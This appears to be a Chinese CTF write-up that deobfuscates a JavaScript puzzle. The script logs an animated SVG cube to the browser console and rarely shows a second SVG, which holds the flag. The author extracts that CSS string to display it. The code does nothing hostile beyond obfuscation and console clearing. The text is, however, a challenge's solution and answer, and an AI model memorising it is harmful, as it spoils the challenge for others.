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','ywxcOSkEW6i','WQ3cTmkTrmkf','xIxdQqeG','utuDW7hdHSkXWPWe','WPpdHa','frnvWOf8lHFdJmkqW5b3W7C','WRuZ','WORcNCk6sSkMW5fNfW','lCod','fI0ibW05qG','Aw4','p8o6WPS8W7K','WQNcS8o5zSogWOpdMCkbWQuWamoy','bhNdLfPczCkLW4zCCSkjxG','W6bRcgxcGG3dTmkVqSoWBW','usK','uxPluL4suSoSm2tcKq','gry','W5BdMSobemo/WPeIwCo5W6X3Ea','FNRdGqpcR8k2omoYWRNcGJqB','qSkT','bftcOWBdNbbhrmkSyW','xLenW5a8','jYa','jcldLCoIF3i6Aq','p8om','Emovkr/dMau0ea','lHldPSkEma','WOxcS8kFWOldRXVdRmob','B0JcOIT/'];_0x2a83=function(){return _0xeb8947;};return _0x2a83();}function _0x36f7d7(){var _0x3ef8b6=_0x4d45,_0x2b390b=(function(){if('tUeGv'!=='tUeGv')return _0x3ead2a(_0x10d864);else{var _0xc52e83=!![];return function(_0x25d063,_0x14b0af){var _0x19b56a=_0x4d45;if('mHXOx'===_0x19b56a(0x225,'AdAF'))_0x34d93d(_0x2d01ad)();else{var _0x435e43=_0xc52e83?function(){if(_0x14b0af){var _0x278c9e=_0x14b0af['apply'](_0x25d063,arguments);return _0x14b0af=null,_0x278c9e;}}:function(){};return _0xc52e83=![],_0x435e43;}};}}()),_0x12600c=_0x2b390b(this,function(){var _0x46bbf9=_0x4d45;return _0x12600c[_0x46bbf9(0x211,'DGlt')]()['search'](_0x46bbf9(0x21c,'DGlt'))[_0x46bbf9(0x201,'[Spv')]()[_0x46bbf9(0x1fb,'&he^')](_0x12600c)['search']('(((.+)+)+)+$');});return _0x12600c(),_0x3ef8b6(0x209,'XSDO')+_0x3ef8b6(0x210,'BDZU')+_0x3ef8b6(0x1f4,'DyLG')+_0x3ef8b6(0x229,'hg[@')+_0x3ef8b6(0x202,'XSDO')+_0x3ef8b6(0x223,'mpGi')+_0x3ef8b6(0x1f5,'JAjy')+_0x3ef8b6(0x219,'U8N[')+_0x3ef8b6(0x1f2,'TtxT')+_0x3ef8b6(0x1f6,'wA8t')+_0x3ef8b6(0x205,'e)vL')+_0x3ef8b6(0x214,'eFU9')+_0x3ef8b6(0x21f,'XSDO');}var _0x4d032d=eval(_0x36f7d7()['split'](_0x42d653(0x212,'TtxT'))[0xf6a+0x12b9*0x1+-0x2221]),_0x4d3fb4=eval(_0x36f7d7()['split'](_0x42d653(0x1fd,'^s]0'))[-0x2d9*-0x9+-0x25*0x6f+-0x993]),_0x280bbf=eval(_0x36f7d7()[_0x42d653(0x220,'@l*d')](_0x42d653(0x21e,'eE&$'))[0x22b1+-0x2e*0x52+-0x13f1]),_0x3ede16=eval(_0x36f7d7()[_0x42d653(0x1f8,'f%(h')](_0x42d653(0x221,'AdAF'))[0x1d*-0xdf+0x2*0xfcd+-0x1*0x652]),_0x13a155=eval(_0x36f7d7()[_0x42d653(0x227,'o%$L')](_0x42d653(0x21b,'1Mc0'))[0xc2b*0x3+-0x3*-0x9c1+-0x41be]);(function(_0x5da15b){return _0x5da15b(_0x5da15b);}(function(_0xc4be8d){return function(_0x3a3176){var _0x51251a=_0x4d45;for(var _0x7936d0=0x231a+0xe2f+-0x3149;_0x7936d0<0x1d01+0x2*0x20+-0x335*0x9;_0x7936d0++){if(_0x51251a(0x215,'DUc)')===_0x51251a(0x20b,'DGlt')){for(var _0x41984e=0xc8*-0x2+-0x2157+0x22e7;_0x41984e<-0xf1e+0x1*0x1f9b+-0x1019;_0x41984e++){var _0x56e0b0=![],_0x9e7595=_0x762c28()[_0x51251a(0x20a,'ICBZ')](_0x51251a(0x214,'eFU9'))[0x1818+0xf*0x284+-0x149c*0x3],_0x2773fe=(-0x1c55+-0x3a*0xaa+0x4315)*_0x41984e/(0x1*0xc07+-0xd*-0x2dd+-0x3b*0xd4),_0x1b99f1=-0x1*0xe7b+0x120d+-0x7a*0x7-(0x1dc5*0x1+0x1a35*-0x1+-0xc*0x47)*_0x41984e/(-0x1940*0x1+0x2535+-0xb91);_0x15a8cb()>=-0x7*0x41+0x2657*-0x1+0x281e+0.9999&&(_0x9e7595=_0xc16c16()[_0x51251a(0x20c,'U8N[')](_0x51251a(0x22a,'[Spv'))[-0x805+0x206*0x1+0x600],_0x56e0b0=!![]);_0x15715b(_0x51251a(0x207,'sCvL'),_0x9e7595[_0x51251a(0x213,'Dhs*')](/\{a\}/gm,_0x2773fe+_0x51251a(0x1fe,'@l*d'))['replace'](/\{b\}/gm,_0x1b99f1+_0x51251a(0x1fe,'@l*d')));if(_0x56e0b0)_0x20fde8();}_0x354698(function(){_0x5f4ad2(_0x31ac6d)();},-0x22b8+-0x3*0x7d9+0xc0b*0x5),_0x355af8(_0xcf3daa,0x1c10+0x505+-0x1f53);}else{var _0x38d961=![],_0x48b8aa=_0x36f7d7()['split'](_0x51251a(0x20e,'t(Kx'))[0x1ae2+-0x7a9+-0x1339],_0x48a4aa=(-0x227a*0x1+0x7c*0x1a+0x161e)*_0x7936d0/(-0x3*0xa8d+0x2275+-0x26a),_0x54870d=0x23ff+0x1*0x10cf+-0x3492-(0x1663+-0x2a3*-0x3+-0x1e10)*_0x7936d0/(0x7*-0x2f2+-0x1cb5+0x31b7);_0x280bbf()>=-0x2*-0x7ac+-0x7d*0x13+-0x611+0.9999&&(_0x48b8aa=_0x36f7d7()[_0x51251a(0x228,'x@bJ')](_0x51251a(0x1ef,'Jkbn'))[0xf31+0x24d*-0x10+-0x568*-0x4],_0x38d961=!![]);_0x4d032d(_0x51251a(0x1f3,'f%(h'),_0x48b8aa['replace'](/\{a\}/gm,_0x48a4aa+_0x51251a(0x1fe,'@l*d'))[_0x51251a(0x1fa,'1Mc0')](/\{b\}/gm,_0x54870d+_0x51251a(0x1fe,'@l*d')));if(_0x38d961)_0x4d3fb4();}}_0x13a155(function(){var _0x4d9b31=_0x51251a;if(_0x4d9b31(0x208,'AdAF')!=='qFjGh'){var _0x432807=_0x124546?function(){var _0x53db46=_0x4d9b31;if(_0x4ba467){var _0x1d092e=_0xaa83dd[_0x53db46(0x204,'5eEM')](_0x13210c,arguments);return _0x56816a=null,_0x1d092e;}}:function(){};return _0x3e7357=![],_0x432807;}else _0xc4be8d(_0xc4be8d)();},-0x1*0x20c3+-0xc*-0x137+-0x5*-0x407),_0x13a155(_0x4d3fb4,0x2351*-0x1+-0x7b*-0x3+0x23a2);};})());

再使用 JavaScript 反混淆器 工具直接解出来

function _0x36f7d7() {
  var _0x2b390b = function () {
      var _0xc52e83 = true;
      return function (_0x25d063, _0x14b0af) {
        var _0x435e43 = _0xc52e83 ? function () {
          if (_0x14b0af) {
            var _0x278c9e = _0x14b0af['apply'](_0x25d063, arguments);
            return _0x14b0af = null, _0x278c9e;
          }
        } : function () {};
        return _0xc52e83 = false, _0x435e43;
      };
    }(),
    _0x12600c = _0x2b390b(this, function () {
      return _0x12600c['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](_0x12600c)['search']('(((.+)+)+)+$');
    });
  return _0x12600c(), 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';
}
var _0x4d032d = eval(_0x36f7d7()['split']('||')[2]),
  _0x4d3fb4 = eval(_0x36f7d7()['split']('||')[3]),
  _0x280bbf = eval(_0x36f7d7()['split']('||')[4]),
  _0x3ede16 = eval(_0x36f7d7()['split']('||')[5]),
  _0x13a155 = eval(_0x36f7d7()['split']('||')[6]);
(function (_0x5da15b) {
  return _0x5da15b(_0x5da15b);
})(function (_0xc4be8d) {
  return function (_0x3a3176) {
    for (var _0x7936d0 = 0; _0x7936d0 < 100; _0x7936d0++) {
      var _0x38d961 = false,
        _0x48b8aa = _0x36f7d7()['split']('||')[0],
        _0x48a4aa = 60 * _0x7936d0 / 100,
        _0x54870d = 60 - 60 * _0x7936d0 / 100;
      _0x280bbf() >= 0.9999 && (_0x48b8aa = _0x36f7d7()['split']('||')[1], _0x38d961 = true);
      _0x4d032d('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));
      if (_0x38d961) _0x4d3fb4();
    }
    _0x13a155(function () {
      _0xc4be8d(_0xc4be8d)();
    }, 500), _0x13a155(_0x4d3fb4, 450);
  };
})();

关键在于那一段css代码，里面有两张图片
将css代码提取出来，放在控制台上运行

var a= 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';

var b=a['split']('||')[1];
//将字符串 a 按 '||' 分隔符分割成多个子字符串，并返回一个数组，使用索引从分割后的数组中获取相应元素

console.log('%c ',b);
//将b的值输出到控制台，%c 是一个格式占位符，通常与 console.log 的第二个参数一起使用，用于应用 CSS 样式到输出的文本

第一张图

第二张图就是flag了